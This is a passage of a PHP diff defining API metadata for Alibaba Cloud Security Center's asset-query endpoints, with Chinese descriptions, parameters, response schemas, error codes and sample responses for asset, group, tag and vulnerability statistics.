+ 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\",\\n \\"GroupId\\": 9935302\\n}","errorExample":""},{"type":"xml","example":"\\n 24A20733-10A0-4AF6-BE6B-E3322413BB68\\n 9935302\\n","errorExample":""}]', + 'title' => '查询资产分组ID', + 'description' => '本接口用于根据资产的分组名称，查询资产所在分组的分组ID。当您调用其他接口（如[GetSuspiciousStatistics](~~GetSuspiciousStatistics~~)、[DeleteGroup](~~DeleteGroup~~)）入参需要输入资产分组的ID，您可调用本接口获取资产分组的ID。'."\n" + ."\n" + .'### QPS限制'."\n" + .'本接口的单用户QPS限制为10次/秒。超过限制，API调用会被限流，这可能会影响您的业务，请合理调用。', + ], + 'DescribeAssetSummary' => [ + 'summary' => '查询已接入云安全中心防护的资产的核数统计信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasGC725T', + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '0FA7F1F4-488D-52CA-9BFC-3E47793B49D1', + ], + 'AssetsSummary' => [ + 'description' => '资产统计信息。', + 'type' => 'object', + 'properties' => [ + 'TotalCoreNum' => [ + 'description' => '当前区域的资产总核数。'."\n" + ."\n" + .'>云安全中心在中国内地与非中国内地采用独立的服务中心。您可以根据接入的endpoint确认当前访问的服务区域。关于不同区域包含的地域详情，请参见[什么是云安全中心](~~42302~~)。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1022', + ], + 'TotalAssetAllRegion' => [ + 'description' => '所有区域资产总数。'."\n" + .'>云安全中心在中国内地与非中国内地采用独立的服务中心。您可以根据接入的endpoint确认当前访问的服务区域。关于不同区域包含的地域详情，请参见[什么是云安全中心](~~42302~~)。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2064', + ], + 'TotalCoreAllRegion' => [ + 'description' => '所有区域资产总核数。'."\n" + .'>云安全中心在中国内地与非中国内地采用独立的服务中心。您可以根据接入的endpoint确认当前访问的服务区域。关于不同区域包含的地域详情，请参见[什么是云安全中心](~~42302~~)。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3200', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0FA7F1F4-488D-52CA-9BFC-3E47793B49D1\\",\\n \\"AssetsSummary\\": {\\n \\"TotalCoreNum\\": 1022,\\n \\"TotalAssetAllRegion\\": 2064,\\n \\"TotalCoreAllRegion\\": 3200\\n }\\n}","type":"json"}]', + 'title' => '查询已接入云安全中心防护的资产的核数统计信息', + ], + 'DescribeAllEntity' => [ + 'summary' => '获取所有服务器资产的列表信息，包括资产分组ID、资产名称等。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', + ], + 'EntityList' => [ + 'description' => '实例列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '服务器的UUID。', + 'type' => 'string', + 'example' => '4fe8e1cd-3c37-4851-b9de-124da32c****', + ], + 'GroupId' => [ + 'description' => '资产分组ID。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '281801', + ], + 'InternetIp' => [ + 'description' => '公网IP地址。', + 'type' => 'string', + 'example' => '172.19.XX.XX', + ], + 'InstanceName' => [ + 'description' => '服务器实例名称。', + 'type' => 'string', + 'example' => 'abc', + ], + 'Ip' => [ + 'description' => '服务器IP地址。', + 'type' => 'string', + 'example' => '101.132.XX.XX', + ], + 'Os' => [ + 'description' => '服务器的操作系统。取值：'."\n" + .'- **linux**'."\n" + .'- **windows**', + 'type' => 'string', + 'example' => 'windows', + ], + 'IntranetIp' => [ + 'description' => '私网IP地址。', + 'type' => 'string', + 'example' => '100.104.XX.XX', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"EntityList\\": [\\n {\\n \\"Uuid\\": \\"4fe8e1cd-3c37-4851-b9de-124da32c****\\",\\n \\"GroupId\\": 281801,\\n \\"InternetIp\\": \\"172.19.XX.XX\\",\\n \\"InstanceName\\": \\"abc\\",\\n \\"Ip\\": \\"101.132.XX.XX\\",\\n \\"Os\\": \\"windows\\",\\n \\"IntranetIp\\": \\"100.104.XX.XX\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 04A9E7B7-877A-40C7-BC0F-A08AFEA2260A\\n \\n abc\\n d74e88b1-d05c-4a2c-ba27-70f2ea8c****\\n windows\\n 101.132.XX.XX\\n 101.132.XX.XX\\n 172.19.XX.XX\\n 9165712\\n \\n \\n efg\\n 2ad45cd7-a1d5-4954-9871-a2f74f13****\\n linux\\n 47.99.XX.XX\\n 47.99.XX.XX\\n 192.168.XX.XX\\n 9569544\\n \\n","errorExample":""}]', + 'title' => '查询所有服务器资产列表信息', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeFieldStatistics' => [ + 'summary' => '查询资产中服务器的统计信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92081', + 'abilityTreeNodes' => [ + 'FEATUREsasGC725T', + ], + ], + 'parameters' => [ + [ + 'name' => 'RegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器所在的地域的ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'MachineTypes', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的资产类型。不指定资产类型，即查询所有类型资产的统计信息。取值：'."\n" + ."\n" + .'- **ecs**：服务器'."\n" + .'- **cloud_product**：云产品', + 'type' => 'string', + 'required' => false, + 'example' => 'ecs', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号主账号ID。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1232428423234****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', + ], + 'GroupedFields' => [ + 'description' => '查询到的服务器资产的信息。', + 'type' => 'object', + 'properties' => [ + 'OfflineInstanceCount' => [ + 'description' => '离线服务器的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '21', + ], + 'NoRiskInstanceCount' => [ + 'description' => '无风险资产数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'UnKnowStatusInstanceCount' => [ + 'description' => '未知资产开启状态的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RegionCount' => [ + 'description' => '服务器所属的地域数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '11', + ], + 'NewInstanceCount' => [ + 'description' => '新增服务器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'ExposedInstanceCount' => [ + 'description' => '暴露资产数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'GroupCount' => [ + 'description' => '服务器组数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TencentInstanceCount' => [ + 'description' => '第三方云服务器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'GeneralAssetCount' => [ + 'description' => '一般资产数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'InstanceSyncTaskCount' => [ + 'description' => '您查询时指定的资产类型下的任务数量。如果查询时没有指定资产类型，此处的数量是您资产中所有服务器和云产品的数量之和。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'UnprotectedInstanceCount' => [ + 'description' => '未受保护的资产数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'ImportantAssetCount' => [ + 'description' => '重要资产数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TestAssetCount' => [ + 'description' => '测试资产数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'VpcCount' => [ + 'description' => '专有网络VPC数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'InstanceCount' => [ + 'description' => '您查询时指定的资产类型下的所有资产数量。如果查询时没有指定资产类型，此处的数量是您资产中所有服务器和云产品的数量之和。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'PauseInstanceCount' => [ + 'description' => '暂停的服务器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'IdcInstanceCount' => [ + 'description' => '云安全中心支持检测的资产数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'NotRunningStatusCount' => [ + 'description' => '未启动（未开机）的服务器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'AliYunInstanceCount' => [ + 'description' => '阿里云服务器组所属的资产数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'RiskInstanceCount' => [ + 'description' => '存在风险的资产数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '90', + ], + 'HuaweiInstanceCount' => [ + 'description' => '第三方云服务器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'AwsInstanceCount' => [ + 'description' => '第三方云服务器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'OutMachineInstanceCount' => [ + 'description' => '云外实例数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TripartiteInstanceCount' => [ + 'description' => '轻量应用服务器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'AzureInstanceCount' => [ + 'description' => '第三方云服务器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'InstanceCoreCount' => [ + 'description' => '您查询时指定的资产类型下的所有资产计算核数。如果查询时没有指定资产类型，此处的数量是您资产中所有服务器和云产品的计算核数之和。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '301', + ], + 'RiskInstanceCoreCount' => [ + 'description' => '存在风险的资产计算核数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '201', + ], + 'ExposedInstanceCoreCount' => [ + 'description' => '暴露资产计算核数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '30', + ], + 'UnprotectedInstanceCoreCount' => [ + 'description' => '未受保护的资产的计算核数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '30', + ], + 'NotRunningStatusCoreCount' => [ + 'description' => '未启动（未开机）服务器的计算核数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '30', + ], + 'NewInstanceCoreCount' => [ + 'description' => '新增服务器的计算核数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '30', + ], + 'NotBindMachineInstanceCount' => [ + 'description' => '您查询时指定的资产类型下的未绑定授权的资产类型数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'VolcengineInstanceCount' => [ + 'description' => '第三方云服务器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'GoogleInstanceCount' => [ + 'description' => '第三方云服务器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"GroupedFields\\": {\\n \\"OfflineInstanceCount\\": 21,\\n \\"NoRiskInstanceCount\\": 10,\\n \\"UnKnowStatusInstanceCount\\": 1,\\n \\"RegionCount\\": 11,\\n \\"NewInstanceCount\\": 10,\\n \\"ExposedInstanceCount\\": 1,\\n \\"GroupCount\\": 20,\\n \\"TencentInstanceCount\\": 10,\\n \\"GeneralAssetCount\\": 10,\\n \\"InstanceSyncTaskCount\\": 10,\\n \\"UnprotectedInstanceCount\\": 10,\\n \\"ImportantAssetCount\\": 10,\\n \\"TestAssetCount\\": 10,\\n \\"VpcCount\\": 5,\\n \\"InstanceCount\\": 100,\\n \\"PauseInstanceCount\\": 10,\\n \\"IdcInstanceCount\\": 100,\\n \\"NotRunningStatusCount\\": 10,\\n \\"AliYunInstanceCount\\": 100,\\n \\"RiskInstanceCount\\": 90,\\n \\"HuaweiInstanceCount\\": 0,\\n \\"AwsInstanceCount\\": 100,\\n \\"OutMachineInstanceCount\\": 20,\\n \\"TripartiteInstanceCount\\": 2,\\n \\"AzureInstanceCount\\": 5,\\n \\"InstanceCoreCount\\": 301,\\n \\"RiskInstanceCoreCount\\": 201,\\n \\"ExposedInstanceCoreCount\\": 30,\\n \\"UnprotectedInstanceCoreCount\\": 30,\\n \\"NotRunningStatusCoreCount\\": 30,\\n \\"NewInstanceCoreCount\\": 30,\\n \\"NotBindMachineInstanceCount\\": 10,\\n \\"VolcengineInstanceCount\\": 10,\\n \\"GoogleInstanceCount\\": 10\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n 988AF6BE-4823-436D-8339-4D9ADF7DFEB6\\n \\n 200\\n 67\\n 26\\n 43\\n 106\\n 27\\n 23\\n 11\\n 179\\n 11\\n 10\\n 68\\n \\n","errorExample":""}]', + 'title' => '查询资产中服务器的统计信息', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeGroupedTags' => [ + 'summary' => '查询资产标签的统计信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92087', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'MachineTypes', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的资产类型。不指定资产类型时，默认查询所有资产类型下的标签信息。取值：'."\n" + .'- **ecs**：服务器'."\n" + .'- **cloud_product**：云产品', + 'type' => 'string', + 'required' => false, + 'example' => 'ecs', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '151F6EB6-D5F3-417A-AF7B-4D84975DB586', + ], + 'Success' => [ + 'description' => '数据请求是否成功。取值：'."\n" + ."\n" + .'- **true**：请求成功'."\n" + .'- **false**：请求失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Count' => [ + 'description' => '该参数已废弃，无需关注。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'GroupedFileds' => [ + 'description' => '资产标签的统计信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '标签名称。', + 'type' => 'string', + 'example' => 'InternetIp', + ], + 'Count' => [ + 'description' => '标签对应的资产数量。', + 'type' => 'string', + 'example' => '152', + ], + 'TagId' => [ + 'description' => '标签ID。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3252366', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"HttpStatusCode\\": 200,\\n \\"RequestId\\": \\"151F6EB6-D5F3-417A-AF7B-4D84975DB586\\",\\n \\"Success\\": true,\\n \\"Count\\": 0,\\n \\"GroupedFileds\\": [\\n {\\n \\"Name\\": \\"InternetIp\\",\\n \\"Count\\": \\"152\\",\\n \\"TagId\\": 3252366\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询标签的统计信息', + ], + 'DescribeAllGroups' => [ + 'summary' => '查询所有服务器分组信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。默认值为**zh**，取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '服务器分组的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', + ], + 'Groups' => [ + 'description' => '服务器分组信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'GroupName' => [ + 'description' => '服务器分组名称。', + 'type' => 'string', + 'example' => 'abc', + ], + 'GroupId' => [ + 'description' => '服务器分组ID。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '8834224', + ], + 'GroupFlag' => [ + 'description' => '服务器分组类型。取值：'."\n" + .'- **0**：默认分组'."\n" + .'- **1**：其他分组', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"Count\\": 2,\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"Groups\\": [\\n {\\n \\"GroupName\\": \\"abc\\",\\n \\"GroupId\\": 8834224,\\n \\"GroupFlag\\": 1\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 2E713E1D-1A0F-4B35-B377-99D144A1EFFE\\n \\n 未分组\\n 0\\n 9207613\\n \\n \\n abc\\n 1\\n 9325310\\n \\n \\n efg\\n 1\\n 9454789\\n \\n \\n hij\\n 1\\n 9535356\\n \\n 4\\n","errorExample":""}]', + 'title' => '查询服务器分组信息', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeInstanceStatistics' => [ + 'summary' => '查询服务器资产实例的统计信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92124', + 'abilityTreeNodes' => [ + 'FEATUREsasON13NY', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '1.2.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n" + ."\n\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的资产的UUID列表。多个UUID之间使用半角逗号（,）分隔。'."\n" + .'您可以调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取资产实例的UUID。', + 'type' => 'string', + 'required' => true, + 'example' => '6690a46c-0edb-4663-a641-3629d1a9****', + ], + ], + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '数据的请求来源。固定为**sas**，表示数据请求来源为云安全中心。', + 'type' => 'string', + 'required' => true, + 'example' => 'sas', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '8F035A9D-D19F-5430-8CA5-1497991B7C61', + ], + 'Data' => [ + 'description' => '资产风险的统计信息。', + 'type' => 'array', + 'items' => [ + 'description' => '资产风险的统计信息。', + 'type' => 'object', + 'properties' => [ + 'Account' => [ + 'description' => '资产账号异常登录的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'AppNum' => [ + 'description' => '资产中存在的应用漏洞的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ScaNum' => [ + 'description' => '资产中存在的中间件漏洞的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Trojan' => [ + 'description' => '资产中存在的木马的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'CveNum' => [ + 'description' => '资产中存在的通用漏洞的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'EmgNum' => [ + 'description' => '资产中存在的应急漏洞的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '6', + ], + 'CmsNum' => [ + 'description' => '资产中存在的Web-CMS漏洞的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'Uuid' => [ + 'description' => '资产实例的UUID。', + 'type' => 'string', + 'example' => '6690a46c-0edb-4663-a641-3629d1a9****', + ], + 'Vul' => [ + 'description' => '资产中存在的所有漏洞的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '17', + ], + 'Health' => [ + 'description' => '资产中存在的基线风险问题的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'SysNum' => [ + 'description' => '资产中存在的Windows系统漏洞的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'WeakPWNum' => [ + 'description' => '弱口令数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '22', + ], + 'AgentlessAll' => [ + 'description' => '无代理检测存在的安全告警数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '13', + ], + 'AgentlessMalicious' => [ + 'description' => '无代理检测存在的恶意样本数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'AgentlessVulCve' => [ + 'description' => '无代理检测存在的系统漏洞数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'AgentlessVulSca' => [ + 'description' => '无代理检测存在的应用漏洞数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'AgentlessBaseline' => [ + 'description' => '无代理检测存在的基线问题的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'CspmNum' => [ + 'description' => '资产中存在的CSPM风险问题的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'AgentlessVulSys' => [ + 'description' => '无代理检测存在的windows漏洞的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'AgentlessSensitiveFile' => [ + 'description' => '无代理检测存在的敏感文件告警数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Suspicious' => [ + 'description' => '资产中存在的安全告警的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'RemindSuspiciousNum' => [ + 'description' => '资产存在提醒的安全告警数量。', + 'type' => 'string', + 'example' => '1', + ], + 'SuspectSuspiciousNum' => [ + 'description' => '资产存在可疑的安全告警数量。', + 'type' => 'string', + 'example' => '1', + ], + 'SeriousSuspiciousNum' => [ + 'description' => '资产存在高危的安全告警数量。', + 'type' => 'string', + 'example' => '2', + ], + 'SysAsapVulCount' => [ + 'description' => '资产存在系统漏洞数量。', + 'type' => 'string', + 'example' => '1', + ], + 'CspmHighRiskNum' => [ + 'description' => '系统存在的CSPM高位风险数量。', + 'type' => 'string', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"8F035A9D-D19F-5430-8CA5-1497991B7C61\\",\\n \\"Data\\": [\\n {\\n \\"Account\\": 0,\\n \\"AppNum\\": 1,\\n \\"ScaNum\\": 1,\\n \\"Trojan\\": 1,\\n \\"CveNum\\": 1,\\n \\"EmgNum\\": 6,\\n \\"CmsNum\\": 5,\\n \\"Uuid\\": \\"6690a46c-0edb-4663-a641-3629d1a9****\\",\\n \\"Vul\\": 17,\\n \\"Health\\": 2,\\n \\"SysNum\\": 3,\\n \\"WeakPWNum\\": 22,\\n \\"AgentlessAll\\": 13,\\n \\"AgentlessMalicious\\": 3,\\n \\"AgentlessVulCve\\": 1,\\n \\"AgentlessVulSca\\": 1,\\n \\"AgentlessBaseline\\": 2,\\n \\"CspmNum\\": 1,\\n \\"AgentlessVulSys\\": 1,\\n \\"AgentlessSensitiveFile\\": 1,\\n \\"Suspicious\\": 2,\\n \\"RemindSuspiciousNum\\": \\"1\\",\\n \\"SuspectSuspiciousNum\\": \\"1\\",\\n \\"SeriousSuspiciousNum\\": \\"2\\",\\n \\"SysAsapVulCount\\": \\"1\\",\\n \\"CspmHighRiskNum\\": \\"1\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 8F035A9D-D19F-5430-8CA5-1497991B7C61\\n \\n 0\\n 1\\n 1\\n 1\\n 1\\n 6\\n 2\\n 5\\n 6690a46c-0edb-4663-a641-3629d1a9****\\n 17\\n 2\\n 3\\n \\n","errorExample":""}]', + 'title' => '查询服务器的统计信息', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeCloudProductFieldStatistics' => [ + 'summary' => '获取云产品统计信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 